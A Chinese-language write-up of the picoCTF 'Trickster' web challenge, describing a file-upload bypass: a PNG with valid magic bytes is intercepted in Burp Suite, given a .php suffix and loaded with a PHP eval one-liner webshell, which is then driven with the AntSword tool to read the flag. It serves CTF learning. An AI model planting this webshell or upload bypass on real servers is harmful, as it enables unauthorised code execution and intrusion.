picoCTF-Web Exploitation-Trickster

Description

I found a web app that can help process images: PNG images only!

这应该是个上传漏洞了,十几年没用过了,不知道思路是不是一样的,以前的思路是通过上传漏洞想办法上传一个木马,拿到webshell,今天试试看能不能成功。

随便翻一翻源码没有找到什么有用的信息,只找到一个robots.txt(这还是最近才学到的给Google提供的map文件)
robots.txt发现如下信息

复制代码
User-agent: *
Disallow: /instructions.txt
Disallow: /uploads/

有一个/uploads/文件夹这里应该就是文件上传后的地址了

/instructions.txt文件信息如下,大意是提交时验证.png 扩展名,然后还要验证文件字节的正确性

复制代码
Let's create a web app for PNG Images processing.
It needs to:
Allow users to upload PNG images
look for ".png" extension in the submitted files
make sure the magic bytes match (not sure what this is exactly but wikipedia says that the first few bytes contain 'PNG' in hexadecimal: "50 4E 47" )
after validation, store the uploaded files so that the admin can retrieve them later and do the necessary processing.

那我i们就试一试,上传一个非png文件提示需要.png后缀,把非png文件后缀改为.png发现后端也有有文件头验证,可能这就是/instructions.txt 所说

随便制作一个png图片(直接截图保存),越小越好,便于我们查看修改文件信息,上传png图片

使用Burpsuite抓包,查看请求信息Content-Type: image/png 这应该就是后端的验证关键了吧

修改png文件信息,加上PHP一句话木马,修改一下filename后缀加上.php,(这里后缀的验证是前端js做的,用Burpsuite发送请求就不必考虑后缀的验证问题了)

如图返回上传成功

php 复制代码
<?php @eval($_POST['hucker']);?>

接下来我们使用中国蚁剑连接木马地址,以前用菜刀,管理webshell,爬取网站文件信息挺好用的,百度找到一个中国蚁剑就决定试试,看介绍好像也是根据菜刀改的。这种黑客软件最好是去github下载原版,可以验证MD5,毕竟是开源的东西,一般不会存在后门。

连接我们的木马,前面我们通过robots.txt看到文件上传目录是uploads,组合一下得到地址[http://atlas.picoctf.net:49226/uploads/2.png.php],输入密码hucker 连接

直接查看网站文件,找到一个GAZWIMLEGU2DQ.txt 里面就是flag了

相关推荐
qqssss121dfd24 分钟前
计算机网络(第8版,谢希仁)第三章习题解答
网络·计算机网络·php
lifejump37 分钟前
新版upload-labs报错:“Parse error...“(已解决)
web安全
苏琢玉3 小时前
用 PHP 解析 Protobuf 的坑与解法
php·protobuf
真正的醒悟3 小时前
图解网络35
开发语言·网络·php
Bruce_Liuxiaowei4 小时前
Windows系统映像劫持:网络安全中的“李代桃僵”战术
windows·安全·web安全
介一安全4 小时前
【Frida Android】实战篇14:非标准算法场景 Hook 教程
android·网络安全·逆向·安全性测试·frida
bleach-4 小时前
内网渗透之横向移动&持久化远程控制篇——利用ipc、sc、schtasks、AT,远程连接的winrm,wmic的使用和定时任务的创建
网络·windows·安全·web安全·网络安全·系统安全·安全威胁分析
郑州光合科技余经理6 小时前
技术视角:海外版一站式同城生活服务平台源码解析
java·开发语言·uni-app·php·排序算法·objective-c·生活
郑州光合科技余经理6 小时前
海外版生活服务系统源码 | 外卖+跑腿一站式平台技术解析
java·开发语言·javascript·git·spring cloud·php·生活
catchadmin8 小时前
告别 Shell 脚本:用 Laravel Envoy 实现干净可复用的部署
php·laravel